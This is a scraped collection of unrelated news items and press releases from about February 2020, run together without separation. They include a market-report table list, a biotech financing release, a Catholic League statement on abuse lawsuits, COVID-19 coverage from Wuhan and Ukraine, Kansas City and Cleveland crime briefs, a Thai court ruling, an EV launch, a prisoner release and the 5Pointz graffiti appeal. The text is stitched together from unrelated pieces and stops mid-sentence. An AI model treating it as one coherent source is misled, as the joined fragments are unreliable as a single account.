2025 LATIN AMERICA Table 70: Latin American Gears, Drives and Speed Changers Market Trends by Region/Country in US$ Million: 2018-2025 Table 71: Gears, Drives and Speed Changers Market in Latin America in US$ Million by Region/Country: A Historic Perspective for the Period 2009-2017 Table 72: Latin American Gears, Drives and Speed Changers Market Percentage Breakdown of Sales by Region/Country: 2009, 2019, and 2025 Table 73: Latin American Demand for Gears, Drives and Speed Changers in US$ Million by End-Use: 2018 to 2025 Table 74: Gears, Drives and Speed Changers Market Review in Latin America in US$ Million by End-Use: 2009-2017 Table 75: Latin American Gears, Drives and Speed Changers Market Share Breakdown by End-Use: 2009 VS 2019 VS 2025 ARGENTINA Table 76: Argentinean Gears, Drives and Speed Changers Addressable Market Opportunity in US$ Million by End-Use: 2018-2025 Table 77: Gears, Drives and Speed Changers Market in Argentina: Summarization of Historic Demand in US$ Million by End-Use for the Period 2009-2017 Table 78: Argentinean Gears, Drives and Speed Changers Market Share Analysis by End-Use: 2009 VS 2019 VS 2025 BRAZIL Table 79: Gears, Drives and Speed Changers Quantitative Demand Analysis in Brazil in US$ Million by End-Use: 2018-2025 Table 80: Brazilian Gears, Drives and Speed Changers Historic Market Review in US$ Million by End-Use: 2009-2017 Table 81: Brazilian Gears, Drives and Speed Changers Market Share Analysis: A 17-Year Perspective by End-Use for 2009, 2019, and 2025 MEXICO Table 82: Gears, Drives and Speed Changers Market in Mexico: Annual Sales Estimates and Forecasts in US$ Million by End-Use for the Period 2018-2025 Table 83: Mexican Gears, Drives and Speed Changers Market in Retrospect in US$ Million by End-Use: 2009-2017 Table 84: Gears, Drives and Speed Changers Market Share Distribution in Mexico by End-Use: 2009 VS 2019 VS 2025 REST OF LATIN AMERICA Table 85: Rest of Latin America Gears, Drives and Speed Changers Latent Demand Forecasts in US$ Million by End-Use: 2018 to 2025 Table 86: Gears, Drives and Speed Changers Historic Demand Patterns in Rest of Latin America by End-Use in US$ Million for 2009-2017 Table 87: Gears, Drives and Speed Changers Market Share Breakdown in Rest of Latin America by End-Use: 2009 VS 2019 VS 2025 MIDDLE EAST Table 88: The Middle East Gears, Drives and Speed Changers Market Estimates and Forecasts in US$ Million by Region/Country: 2018-2025 Table 89: Gears, Drives and Speed Changers Market in the Middle East by Region/Country in US$ Million: 2009-2017 Table 90: The Middle East Gears, Drives and Speed Changers Market Share Breakdown by Region/Country: 2009, 2019, and 2025 Table 91: The Middle East Gears, Drives and Speed Changers Market Quantitative Demand Analysis in US$ Million by End-Use: 2018 to 2025 Table 92: Gears, Drives and Speed Changers Market in the Middle East: Summarization of Historic Demand Patterns in US$ Million by End-Use for 2009-2017 Table 93: The Middle East Gears, Drives and Speed Changers Market Share Analysis by End-Use: 2009 VS 2019 VS 2025 IRAN Table 94: Iranian Demand Estimates and Forecasts for Gears, Drives and Speed Changers in US$ Million by End-Use: 2018 to 2025 Table 95: Iranian Gears, Drives and Speed Changers Market in US$ Million by End-Use: 2009-2017 Table 96: Gears, Drives and Speed Changers Market Share Shift in Iran by End-Use: 2009 VS 2019 VS 2025 ISRAEL Table 97: Israeli Gears, Drives and Speed Changers Addressable Market Opportunity in US$ Million by End-Use: 2018-2025 Table 98: Gears, Drives and Speed Changers Market in Israel: Summarization of Historic Demand in US$ Million by End-Use for the Period 2009-2017 Table 99: Israeli Gears, Drives and Speed Changers Market Share Analysis by End-Use: 2009 VS 2019 VS 2025 SAUDI ARABIA Table 100: Saudi Arabian Demand for Gears, Drives and Speed Changers in US$ Million by End-Use: 2018 to 2025 Table 101: Gears, Drives and Speed Changers Market Review in Saudi Arabia in US$ Million by End-Use: 2009-2017 Table 102: Saudi Arabian Gears, Drives and Speed Changers Market Share Breakdown by End-Use: 2009 VS 2019 VS 2025 UNITED ARAB EMIRATES Table 103: Gears, Drives and Speed Changers Market in the United Arab Emirates: Recent Past, Current and Future Analysis in US$ Million by End-Use for the Period 2018-2025 Table 104: United Arab Emirates Gears, Drives and Speed Changers Historic Market Analysis in US$ Million by End-Use: 2009-2017 Table 105: Gears, Drives and Speed Changers Market Share Distribution in United Arab Emirates by End-Use: 2009 VS 2019 VS 2025 REST OF MIDDLE EAST Table 106: Gears, Drives and Speed Changers Market in Rest of Middle East: Annual Sales Estimates and Forecasts in US$ Million by End-Use for the Period 2018-2025 Table 107: Rest of Middle East Gears, Drives and Speed Changers Market in Retrospect in US$ Million by End-Use: 2009-2017 Table 108: Gears, Drives and Speed Changers Market Share Distribution in Rest of Middle East by End-Use: 2009 VS 2019 VS 2025 AFRICA Table 109: African Gears, Drives and Speed Changers Latent Demand Forecasts in US$ Million by End-Use: 2018 to 2025 Table 110: Gears, Drives and Speed Changers Historic Demand Patterns in Africa by End-Use in US$ Million for 2009-2017 Table 111: Gears, Drives and Speed Changers Market Share Breakdown in Africa by End-Use: 2009 VS 2019 VS 2025 IV. COMPETITION Total Companies Profiled: 298 Read the full report: https://www.reportlinker.com/p05621732/?utm_source=PRN About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. __________________________ Contact Clare: [email protected] US: (339)-368-6001 Intl: +1 339-368-6001 SOURCE Reportlinker Related Links www.reportlinker.com THIS NEWS RELEASE IS INTENDED FOR DISTRIBUTION IN CANADA ONLY AND IS NOT INTENDED FOR DISTRIBUTION TO UNITED STATES NEWSWIRE SERVICES OR DISSEMINATION IN THE UNITED STATES. TORONTO, ON / ACCESSWIRE / February 21, 2020 / StageZero Life Sciences, Ltd (TSX:SZLS) ("StageZero" or the "Company") is pleased to announce that it closed a private placement of convertible debentures (each a "Debenture") for gross proceeds of $1,180,000 on February 19, 2020 (the "Offering"). The Debentures, issued in increments of $1,000, bear interest at a rate of 6% per annum, have a term of 18 months from the date of issue and are convertible in units ("Units") at a conversion price of $0.04 per Unit. Each Unit consists of one (1) common share ("Common Share") of the Company and one-half (1/2) of a Common Share purchase warrant. Each whole warrant (a "Warrant") is exercisable into one Common Share of the Company at an exercise price of CAD$0.07 per Common Share for a period of twenty-four (24) months from the date of issuance of the Debentures. Securities issued pursuant to the Offering are subject to a statutory hold period lasting four (4) months and a day after the issuance of the securities. The debentures will be secured against the assets of the Company once the Convertible Security Funding Agreement (CSFA) between the Company and Lind Asset Management XI, LLC is duly terminated. "This Debenture, together with our private placement of $674,409 announced January 27 will allow us to more aggressively advance our commercialization efforts as well as begin the final phase for the Aristotle program" commented James Howard-Tripp, Chairman and CEO of StageZero. "It was pleasing to note that we were significantly oversubscribed". About StageZero Life Sciences, Ltd. StageZero Life Sciences is dedicated to the early detection of cancer and multiple disease states through whole blood. Aristotle, our next generation test, is a panel for simultaneously screening for 10 cancers from a single sample of blood with high sensitivity and specificity for each cancer. Aristotle is built on our proven and proprietary Sentinel Principle Technology Platform which has been validated on 10,000 patients and used to develop the first liquid biopsy for Colorectal Cancer, with further validation currently underway. In addition to building a pipeline of products for early cancer detection, the Company operates a CAP accredited and CLIA certified reference laboratory based in Richmond, Virginia that offers the ColonSentry test as well as licensed biomarker tests for lung, breast and prostate cancers. To learn more visit www.stagezerolifesciences.com. Forward-Looking Statements This press release contains forward-looking statements identified by words such as "expects", "will" and similar expressions, which reflect the Company's current expectations regarding future events. The forward-looking statements involve risks and uncertainties that could cause the Company's actual events to differ materially from those projected herein. Investors should consult the Company's ongoing quarterly filings and annual reports for additional information on risks and uncertainties relating to these forward-looking statements. The reader is cautioned not to rely on these forward-looking statements. The Company disclaims any obligation to update these forward-looking statements, except as required by law. Company Contacts: James R. Howard-Tripp Chairman & CEO jht@stagezerols.com Tel: 1-855-420-7140 Ext. 1 Rebecca Greco Investor Relations rgreco@stagezerols.com Tel: 1-855-420-7140 Ext. 1838 SOURCE: StageZero Life Sciences, Ltd. View source version on accesswire.com:https://www.accesswire.com/577311/StageZero-Life-Sciences-Announces-Closing-of-Convertible-Debenture-Financing NEWS PROVIDED BY Catholic League Feb. 20, 2020 In 2018, Pennsylvania Attorney General Josh Shapiro unethically released a grand jury report on Catholic priests and lay people who were accused of sexually abusing minors decades agomost were never found guilty and some successfully contested the public release of their name (the Catholic League filed an amicus brief in this victory in the Pennsylvania Supreme Court)the result of which was to spur a debate over suspending the statute of limitations. The debate has been just as political as the cherry picking of the Catholic Church in seeking a grand jury probe. Last year a state appeals court allowed a case to go forward against the Altoona-Johnstown diocese despite the fact that it was time barred by the statute of limitations. The case is currently being appealed but in the meantime similar cases are being filed. Similar cases against which institutions? Pennsylvania Rep. Mark Rozzi, who is leading the charge to suspend the statute of limitations, is quoted in the Washington Post as saying it is not just priests who have victimized minors. He mentions "Amish and Mennonite abusers, schoolteachers, pediatricians, Boy Scout leaders, Penn State's Jerry Sandusky, Bill Cosby." Rozzi's list is incomplete. He left out many other secular and religious institutions, and he never mentioned the fact that most sexual abuse occurs in the home. And what exactly has he done about it? For example, why has he not lobbied to remove the obscene protections afforded the public schools in Pennsylvania? They are shielded by the doctrine of sovereign immunity: a student has to make a claim within 90 days of the alleged abuse, otherwise the clock runs out. There are discussions now to include the public schools, but why didn't Rozzi demand they be included years ago? Just as important, where are the claims being made against the public schools now that an appeals court is saying that students who were victimized decades ago can proceed in court? Shapiro is quoted in the Washington Post as saying the Catholic Church "has refused to reform." That is a bald face lie: no institution has undertaken more reforms, with more positive results, than the Church. When Shapiro released his grand jury report, we found that in the Diocese of Harrisburg, 71 persons were named: 42 were dead and four were missing. Most of those who were still alive were no longer in ministry. In August, the diocese paid 106 people $12 million in compensation; five more settlements have since been reached. There is a reason the Diocese of Harrisburg filed for bankruptcy the day after the Boy Scouts of America did: both have been targeted by lawyers who have a profound hatred of institutions that promote traditional moral values. It is incontestable that no religious organization is known for doing this more than the Catholic Church, and no secular organization can rival the Boy Scouts on this score. Beginning in the mid-1960s, both the Catholic Church and the Boy Scouts dropped their guard and succumbed to a more secular vision of sexuality; it lasted roughly until the early-1980s. They both paid a big price for it. But other religious entities were just as guilty, to say nothing of the public schools. Why are they not filing for bankruptcy? This has nothing to do with kids not being raped by teachers: it has to do with politics. There is no comparable animus against these organizations. The hypocrisy is serious but not as serious as the injustice: to single out the Catholic Church and the Boy Scouts is moral profiling. This is no less invidious than racial profiling. Medical staff members treat a patient infected by the COVID-19 coronavirus at the Wuhan Red Cross Hospital in Wuhan, Hubei province, China, on Feb. 16, 2020. (STR/AFP via Getty Images) 29 Year-Old Doctor Treating Patients in Coronavirus Epicenter Dies From Disease Peng Yinhua passed away from the COVID-19 coronavirus on Feb. 20, and became the latest medical staff in China to succumb to the disease. Peng, 29, was a doctor at the Jiangxia district Peoples No. 1 Hospital in Wuhan City, the epicenter of the coronavirus outbreak. When his condition became critical, he was given a plasma transfusion. But he could not recover. This month, there were two other confirmed cases of doctors who died from the disease after contracting the virus from treating patients: Liu Zhiming, director of the Wuchang Hospital in Wuhan, and Li Wenliang, a whistleblower doctor from Wuhan Central Hospital. According to a Feb. 17 study published by a group of doctors from Chinas Center for Disease Control and Prevention in the Chinese Journal of Epidemiology magazine, 3,019 medical staff across the country have been infected with the coronavirus between Dec. 8, 2019 to Feb. 11. According to their tally, five of them passed away (not counting Liu and Peng). Young Doctor Peng was from Yunmeng County in Xiaogan City, Hubei province, Pengs colleague Chen Hao told state-run newspaper Yangtze River Daily on Feb. 21. The area is roughly 55 miles from Wuhan. After graduating with a bachelors degree from the Hubei University of Science and Technology in 2015, Peng became a doctor at the Jiangxia district Peoples No. 1 Hospital in Wuhan. In July 2019, Peng started working at the respiratory and critical medicine department of the hospital. On Dec. 21, 2019, the hospital received its first COVID-19 coronavirus patient. Since then, Peng began treating virus patients, according to the Yangtze River Daily. On Jan. 25, Peng showed symptoms of the virus. A CT scan showed that his lungs were infected. His colleagues arranged for him to receive treatment in the hospital. He [Peng] was diagnosed with the coronavirus on Jan. 30, and was transferred to Jinyintan Hospital, the designated coronavirus hospital. On Feb. 10, his condition deteriorated, Pengs wife Zhong Xin told state-run media The Paper on Feb. 21. His wife is pregnant with their first child. We registered to be husband and wife two years ago. We planned to have a wedding ceremony on Feb. 1, Zhong said. Because he didnt know where the outbreak was headed, we decided to postpone the ceremony. State-run media reported that Peng locked the wedding ceremony invitations in his cabinet drawers and did not send them out. I am in the sixth month of pregnancy. Now I only hope our baby can be born healthy, Zhong said. Working Environment Ling Yun is a nurse from Anhui Province. After being dispatched to Wuhan to help combat the virus outbreak, she has been working at the Jinyintan Hospital. She took care of Peng for several days. Peng told me that he had treated more than 300 patients in two days. He was very tired at that time, which caused his immunity level to drop. Then, he became infected with the virus, Ling told state-run media Life Times on Feb. 21. Peng kept communicating with his family members by sending text messages on his cell phone. His lungs werent in good condition and it was hard for him to speak, Ling said. Ling shared screenshots of text conversations she had with Peng on WeChat, a Facebook-like Chinese social media platform. As his profile picture, Peng used a photo showing he and his wife holding hands. More Deets On Kansas City EPIC Gun Lawsuit Crackdown Kansas City gun dealer who sold weapon used in killing to stop selling guns Alvino and Beverly Crawford filed the wrongful death lawsuit in June in Jackson County Circuit Court on behalf of their son, Alvino Dwight Crawford Jr. The suit alleged that Green Tip Arms had reason to be suspicious that a frequent customer, James Samuels, was an unlicensed gun dealer. Northeast Shooting Tonight 2 people injured in shooting in northeast Kansas City, police say Kansas City police were investigating a shooting that left two people injured Thursday evening on the northeast side of the city. The shooting was reported on Indiana Avenue at Sixth Street just before 6:15 p.m. Police at the scene said it appeared that someone pulled up in a vehicle on Indiana Avenue and shot a man and a woman in the street. JoCo Allegations Abound Overland Park man charged with child sex crimes, blackmail KANSAS CITY, Mo. - An Overland Park man has been charged in Johnson County Court with sexual exploitation of a child and blackmail. Jeffrey D. Paschal, 26, faces two counts of sexual exploitation of a child and one count of blackmail. Court documents state the crimes allegedly occurred between May 20 and Dec. Tough Talk But No Body 'Manipulative psychopath': Columbia man charged with murdering wife who disappeared in October COLUMBIA, Mo. (AP) - The American husband of a Chinese woman who has been missing since October was charged Wednesday in her death, even though her body hasn't been found. Joseph Elledge, of Columbia, Missouri, was charged with first-degree murder in the death of 28-year-old Mengqi Ji, according to court records. Local Roundaround Cass County Sheriff's Office takes into custody 2 men who led police on 30-minute high-speed pursuit The Cass County Sheriff's Office said it has taken into custody two men who led deputies on a high-speed chase Tuesday night that reached speeds of than 100 mph and lasted more than 30 minutes on gravel roads and highways. Hairdo Wanted Notice Highlight Amid Serious Charges Wanted . . . WYANDOTTE COUNTY, KS (KCTV) -- Wanted on a Wyandotte County probation violation warrant for sex offender registration violation. His original offense happened in 2012 in El Dorado, Kansas, and involved aggravated indecent liberties with a child. Kidnapper Locked Up Man sentenced for kidnapping, holding stepdaughter captive for 19 years KANSAS CITY, Mo. - A Kansas City-area mother says she is feeling relief after a horrific, years-long ordeal is finally over. That's what Rosalynn McGinnis told 41 Action News after the man who kidnapped her at age 12 and held her captive for nearly two decades was sentenced Thursday. Accusation Against Cleric Retired Catholic priest charged in Missouri with sex abuse (AP)-- A retired Catholic priest has been charged in Missouri with multiple counts of child sexual abuse stemming from a statewide investigation of abuse by Catholic priests. Seventy-six-year-old Frederick Lutz, of Springfield, was charged Tuesday with forcible sodomy, sexual abuse and two counts of statutory sodomy. His bond was set at $125,000 cash only. Murder Case Moves Forward Sheriff: Body found in Buchanan County is that of 22-year-old woman BUCHANAN CO., MO (KCTV) - New details about have been released about the investigation into a woman's body found in a bag by the roadside in Buchanan County. Sheriff Bill Puett told KCTV5 News that the victim, originally thought to be a woman in her mid-50s, was actually 22. Ozark Tragedy Postscript Ex-Trooper In Handcuffed Drowning Incident At Lake Of The Ozarks Gets $200K, But Can't Be A Cop In Missouri A former Missouri Highway Patrol trooper involved in the 2014 drowning of a handcuffed Iowa man ended his fight to get his job back after the state agreed to pay him more than $200,000. Attorneys for Anthony Piercy filed motions last week to dismiss his pending court cases regarding his old job and the revocation of his license to be a peace officer in Missouri. Urgent Care Needed Missouri lacking enough sexual assault nurses ST. LOUIS - Taylor Hirth saw the worst and best in humanity all in one night in February 2016. First, she woke up in her bed between her sleeping toddler and a strange man who put his hands on her mouth. "There was a man standing in the doorway, telling me to get on my stomach," she said. Important Lawman Legacy Son of first black Olathe police officer reflects on his father's service Being part of history wasn't the focus for Alfred Eugene Bell Sr. - but helping keep the Olathe community safe was. Despite becoming the first African-American police officer at the Olathe Police Department in the heart of the civil rights era, his family never heard him mention his race or how it affected his job with the department. Right now we collect and share some of the more interesting news from across the metro regarding police action, court cases and ALLEGE MISDEEDS. Remember that every person in this post isuntil proven guilty . . .You decide . . . The department said it is also going to streamline the process for people seeking to have their DNA removed from the index. Those who have been acquitted of crimes, for instance, would only have to provide a document showing that they were found not guilty. Before, they were required to get a court order, which is no easy task, Mr. Barrows said. The new rules, first reported in The Wall Street Journal, also place curbs on the collection of DNA from teenagers and children. Investigators will only be able to collect DNA from juveniles in connection with felonies, sex crimes, firearm crimes or hate crimes, not misdemeanors. And they will not only have to get the consent of the minor, but they also must notify parents or guardians, who can object to it. In the past, Mr. Barrows said, investigators were not required to obtain permission from a minor or guardian before walking away with a piece of DNA evidence. A growing number of law enforcement agencies throughout the country including police departments in Connecticut, California and Maryland have amassed genetic databases that operate by their own rules, outside of state and federal guidelines, which tend to be far more strict. Those databases have become the center of a debate over how to strike a balance between civil rights and crime-fighting, as DNA has become an increasingly common tool in investigations and prosecutions. New York State law requires a conviction before someones DNA can be included in the state-operated DNA databank. But databases built by local authorities are not subject to the state rules. Announcing the changes for obtaining and storing DNA samples, Commissioner Shea said he hopes to build trust with New Yorkers while still continuing to collect evidence in ongoing criminal investigations. Protesters in Ukraine attacked six buses carrying evacuees from the epicentre of the coronavirus in China after a fake email claimed some of them were infected with the virus. They lit fires to block the roads leading to the hospital in Novi Sanzhary, in the central Poltava region, where evacuees were being taken and threw rocks as the buses drove past. Armoured vehicles carrying hundreds of armed police, national guardsmen and fire fighters were deployed to unblock the roads. Protesters in Ukraine were seeing attacking six buses carrying evacuees from the epicentre of the coronavirus in China The evacuees, 45 Ukrainians and 37 foreign nationals, were flown from Wuhan in China to Kharkiv in eastern Ukraine yesterday Demonstrators set fire and erect a barricade as they protest the arrival of a plane carrying evacuees from coronavirus-hit China's Hubei province Fires made from sticks and refuse wood were lit by protesters in the middle of roads that lead to the hospital in Novi Sanzhary The evacuees, 45 Ukrainians and 37 foreign nationals, were flown from Wuhan in China to Kharkiv in eastern Ukraine yesterday. The country's president, Volodymryr Zelensky asked the protesters to show some empathy towards their fellow citizens. According to the country's security service, the protest may have been sparked by a fake email which falsely claimed to be from the department of health that said some of the evacuees had the Covid-19 virus. Armoured vehicles carrying hundreds of armed police, national guardsmen and fire fighters were deployed to unblock the roads Protesters lit fires to block the roads leading to the hospital in Novi Sanzhary, in the central Poltava region, where evacuees were being taken and threw rocks as the buses drove past National Guard soldiers close the gate of the sanitarium where evacuees were being taken Ukraine currently has no confirmed cases of the virus. The country's health ministry said none of the evacuees were sick. To show solidarity with those who will be forced into quarantine, Ukraine's health minister will quarantine herself with them. Health Minister Zoryana Skaletska said: 'I will spend the next 14 days with them, in the same premises, under the same conditions. Prime Minister Oleksiy Honcharuk, Health Minister Zoryana Skaletska and Interior Minister Arsen Avakov all travelled to the city to try and calm tensions. Injured men receive assistance during a protest against the arrival of a plane carrying evacuees from coronavirus-hit China's Hubei province President Zelensky urged compatriots to show solidarity and remember that 'we are all human' 'These people are our compatriots. We live in one country and have to take care of their health and safety.' President Zelensky urged compatriots to show solidarity and remember that 'we are all human'. Covid-19 has so far caused 2,247 deaths and has infected more than 76,000 people across more than 25 countries. RTHK: Thai court dissolves popular pro-democracy party A stridently anti-military Thai party was dissolved on Friday and its key members banned from politics for a decade over a US$6 million loan by its billionaire founder, a withering blow to the kingdom's pro-democracy movement. The Future Forward Party (FFP), fronted by the charismatic auto-parts scion Thanathorn Juangroongruangkit, emerged from nowhere in March last year to become Thailand's third biggest party in the first elections since a 2014 coup. The party's radical agenda calling for full democracy, an end to conscription and the removal of the army from politics and business pitched it against the powerful, conservative military. But since their strong poll showing, Thanathorn and his 76 lawmakers have faced relentless rounds of legal cases in Thailand's courts. On Friday the nine-member constitutional court dissolved FFP, ruling a US$6 million loan by Thanathorn breached the law governing political parties. The loan exceeded the US$315,000 limit on donations to parties by an individual, one judge said. Panya Udchachon told the court that "party executives must have known that a loan of that amount would give influence [to Thanathorn] and he could gain advantage over the party". Sixteen party executives, including founder Thanathorn, were also "banned for running for political office for 10 years", judge Nakarin Mektriarat added. The ruling appears to end the political aspirations of Thanathorn, whose emergence on the Thai political stage has wowed millennials but frightened the country's conservative establishment. Thanathorn has been a fierce critic of military involvement in politics in a country whose history is peppered with coups. (AFP) This story has been published on: 2020-02-21. To contact the author, please use the contact details within the article. The sporty-looking hatchback was also the third EV that GM rolled out in China, following the Buick Velite 6 EV and Baojun E-series, all produced by joint-venture partnerships in China, the Xinhua news agency reported. Chicago: General Motors (GM) on Thursday launched the Chevrolet Menlo sedan in China, the brand's first fully electric vehicle in the world's largest EV market. According to GM, the Chevrolet Menlo will be initially offered in Beijing, available in four variants priced from 1,59,900 yuan to 1,79,900 yuan ($22,800 to $25,700) after national subsidies for new energy vehicles. "Along with being a new energy vehicle, the Chevrolet Menlo inherits Chevrolet's sporty DNA that dates back to its founding by race car drivers," said Scott Lawson, general director of Chevrolet for SAIC-GM, a Shanghai-based joint venture. "It will meet the performance and styling demands of our customers and at the same time provide the efficiency that new energy vehicle owners expect," he added. Based on the concept vehicle of Chevrolet FNR-X, Chevrolet Menlo has a constant-speed range of up to 410 km under New European Driving Cycle (NEDC) conditions on a single charge. GM outlined its "All-Electric Path to Zero Emissions" in October 2017, and announced a new electric offensive with 20 new all-electric vehicles to launch by 2023. In the rapidly expanding Chinese EV market, which saw half of the world's total sales, GM now faces fierce competition not only from local brands and European automakers, but also the American EV giant Tesla. Tesla started delivering Model 3s made in its Shanghai Gigafactory at the end of last year. An 80-year-old man who spent nearly 60 years in prison after being convicted of killing one of three suburban Chicago grandmothers whose brutalized bodies were found in a state park walked out of prison Friday. Chester Weger emerged from Pinckneyville Correctional Center much older than when he was sent to prison in 1961, but he was the same in one respect - maintaining that he was innocent and had been framed by detectives and prosecutors. 'They ruined my life,' Weger said outside the prison gates, The Chicago Tribune reported. 'They locked me up for 60 years for something I've never done.' Chester Weger, the so-called Starved Rock Killer, takes questions from the media after being released from the Pickneyville Correctional Center on Friday in Pickneyville, Illinois 'They ruined my life,' Weger said outside the prison gates. 'They locked me up for 60 years for something I've never done.' Weger was arrested in connection with the 1960 slayings of 50-year-old Lillian Oetting, 47-year-old Frances Murphy and 50-year-old Mildred Lindquist. The women were hiking together in Starved Rock State Park in northern Illinois when they were attacked. Their remains were found in the park's popular St. Louis Canyon, which is framed by a scenic waterfall and a 100-foot wall. Each of them had been bludgeoned more than 100 times. A break in the investigation came when detectives determined that the cord used to bind the women's hands matched twine from a spool in the kitchen of the Starved Rock Lodge, where Weger, then 21, worked as a dishwasher. Wegner initially confessed to beating the women to death with a frozen tree branch during a botched robbery attempt and even took detectives to the park to reenact the killings. Weger, 80, (shown in 2016) has maintained his innocence. He has accused the authorities of coercing a confession From left: Frances Murphy, 47; Mildred Lindquist, 50; and Lillian Oetting, 50. All three were murdered at Starved Rock State Park near Utica while on a hike in 1960 Weger (right) is seen after he was sentenced to life in prison in March 1961 in Ottawa, Illinois But he later recanted, claiming he was innocent and that prosecutors had coerced him into confessing. Weger was only convicted in Oetting's killing. Prosecutors chose not to try him for the two other women's deaths after he was sentenced to life in prison in 1961. Weger was granted parole in November on his 24th try. His release was delayed for 90 days because Illinois Attorney General Kwame Raoul's office sought to have him evaluated under the state's Sexually Violent Persons Commitment Act. The body of a victim is carried out of St. Louis Canyon in Starved Rock in March 1960 The bodies of the three Riverside women were found in March 1960. Shaw Media Illinois reports the case confounded investigators until they determined that the cord used to bind the womens hands matched twine from a spool in the kitchen of the Starved Rock Lodge That law allows the state to hold people indefinitely in a secured facility in the custody of the Illinois Department of Human Services for sex offender treatment if an evaluation deems that necessary. Granddaughters of the slain women have spoken out publicly against Weger's release, as has the LaSalle County states attorney. But Weger's supporters have insisted that he poses no threat to public safety and experts who conducted Weger's evaluation concluded that Weger did not meet the legal criteria for the law to apply. One of Weger's lawyers, Celeste Stack, said Weger could hardly believe he was free. 'Rumors had been floating around that things were going to be delayed,' Stack told the Tribune. 'I don't think even Chester believed it until he stepped outside in this cold sunshine this morning' Weger was expected to be reunited with family members later in the day on Friday and then check in to St. Leonard's Ministries in Chicago. The artists said they were 'thankful and humbled' by the appeal court ruling The 21 artists sued and were awarded millions by a New York judge in 2018 The developers painted over dozens of pieces of art at 5Pointz in Queens in 2013 Developers have lost an appeal against $6.7 million awarded to graffiti artists whose work they destroyed to make way for luxury condos in New York. A federal appeals court upheld the 2018 decision by a judge that the spray paintings by 21 artists were 'wrongfully and willfully' destroyed. The 2nd US Circuit Court of Appeals concluded Thursday that a judge was correct to award the damages against developers who destroyed the aerosol artwork in 2013. The artists said in a statement they were 'thankful and humbled by today's ruling.' The appeals court said the action violated the Visual Artists Rights Act of 1990, which protects art which has gained recognition. The Long Island City, Queens, graffiti site known as 5Pointz was a tourist attraction that drew thousands of spectators daily and formed a backdrop to the 2013 movie, 'Now You See Me'. But the buildings owner Jerry Wolkoff whitewashed all the artwork in November 2013 and demolished the building the following year. Construction work on luxury apartment blocks is now almost complete and is due to be finished this year. The 2nd US Circuit Court of Appeals concluded a judge was correct to award the damages against developers who destroyed the aerosol artwork in 2013 The warehouses were demolished in 2014 to make way for luxury apartment blocks Luxury apartment blocks are being built in place of the 5Pointz warehouses and are due for completion this year People explore the outside of the 5 Pointz Building, a landmark in the New York graffiti scene that attracted artists from around the globe Before and after: Graffiti at 5Pointz in New York in 2013 (bottom) before it was painted over by developers (top) A federal appeals court upheld the 2018 decision by a judge that the spray paintings by 21 artists were 'wrongfully and willfully' destroyed The historic graffiti mecca 5 Pointz is seen after being painted over by developers in 2013 'In recent years, 'street art,' much of which is 'temporary,' has emerged as a major category of contemporary art,' the 2nd Circuit said in an opinion written by Circuit Judge Barrington D. Parker. The decision noted that the street artist Banksy has appeared alongside former President Barack Obama and the late Apple Inc. founder Steve Jobs on Time magazine's list of the world's 100 most influential people. 'A Banksy painting at 5Pointz would have possessed recognised stature, even if it were temporary,' the appeals court said. Marie Cecile Flageul, a curator who worked with the 21 artists who will share the award, said the money would be split among artists in the US, Australia, Japan, Brazil and Colombia. She said the appeals ruling demonstrated how far graffiti has come from the 1970s when many artists used it to express their anger. 'Now, it's a validated art form which is collected, acquired and showcased in museums and galleries around the world,' she said. A federal appeals court upheld the 2018 decision by a judge that the spray paintings by 21 artists were 'wrongfully and willfully' destroyed She said real estate entities in New York, Paris and London now look for ways to preserve graffiti art. Since 2002, walls at the 5Pointz site had contained more than 10,000 works of art as some of the renderings were temporary and were eventually painted over with the permission of the artists. In 2013, developers seeking to capitalise on the rebirth of a once crime-ridden neighbourhood destroyed the artwork after banning artists from the area and refusing to let them recover work that could be removed. After artists sued, US District Judge Frederic Block in Brooklyn concluded that the art works reflected 'striking technical and artistic mastery and vision worthy of display in prominent museums if not on the walls of 5Pointz'. Before and after: Graffiti at 5Pointz is seen in August 2013 (bottom) before being painted over by developers in November 2013 (top) The judge made the award higher than it otherwise would have been after concluding the destruction of the art was wilfull because the artists were not given the three months the law allows to salvage their artwork. He said 45 of the 49 paintings were recognized works of art 'wrongfully and willfully destroyed' by a remorseless landlord. Twenty-one aerosol artists had sued the owner of a Long Island City, Queens, site known as 5Pointz under the Visual Rights Act, a 1990 federal law that protects artists' rights even if someone else owns the physical artwork. Their graffiti was painted over in 2013, and the buildings were torn down a year later. Before they vanished, the graffiti artworks became a tourist attraction, drawing thousands of spectators daily and forming a backdrop to the 2013 movie, 'Now You See Me,' and a site for an Usher tour, the judge noted. All the while, the crime-ridden neighborhood gradually improved and it became the 'world's largest collection of quality outdoor aerosol art,' though a system set up by the artists meant some paintings were temporary while others were given permanent status, Block wrote. The ruling followed a three-week trial when Block said the 'respectful, articulate and credible' artists testified about 'striking technical and artistic mastery and vision worthy of display in prominent museums if not on the walls of 5Pointz.' He noted one artist came from London, another from rural West Virginia, while others were products of prestigious art schools. Some were self-taught. He said he was impressed with the breadth of the artists' works and how many works 'spoke to the social issues of our times.' Jerry Wolkoff, who owned the buildings, had conceded he allowed the spray-paint artists to use the buildings as a canvas for decades but said they always knew they would be torn down someday. His lawyer, David Ebert, did not immediately respond to a message seeking comment. The artists had once hoped to buy the properties, before their value soared to over $200 million. Block said he hoped the award would give teeth to a federal law that should have kept Wolkoff from demolishing them for at least 10 months, when he had all his permits. Artists then could have easily rescued some paintings from siding, plywood or sheet-rock before the rollers, spray machines and buckets of white paint arrived. 'Wolkoff has been singularly unrepentant. He was given multiple opportunities to admit the whitewashing was a mistake, show remorse, or suggest he would do things differently if he had another chance,' Block said. 'Wolkoff could care less. As he callously testified,' the judge said. 'The sloppy, half-hearted nature of the whitewashing left the works easily visible under thin layers of cheap, white paint, reminding the plaintiffs on a daily basis what had happened. 'The mutilated works were visible by millions of people on the passing 7 train.' Featured stories Former RTA bus driver guilty of fighting with a passenger (WOIO Channel 19) Coventry Township schools investigating alleged teacher misconduct (WEWS Channel 5) Third-grade student hit by car passing school bus in Cleveland, official says (cleveland.com) Poll shows mixed results for Donald Trump, Democrats in Wisconsin, Michigan and Pennsylvania (cleveland.com) Crime Police: Man pretended to be Uber driver in downtown Cleveland, raped woman who got in his SUV (cleveland.com) Akron man gets 20 years in prison for having sex with underage teen he met online (cleveland.com) Bay Village man found dead in home with hazardous materials, pipe bomb took his own life, officials say (cleveland.com) Third inmate captured after escape from Canton correctional facility; two remain at large (cleveland.com) Cleveland man acted as getaway driver after robber stuck gun into womans mouth, records say (cleveland.com) Former NASA scientist, nuclear submarine officer faces prison for 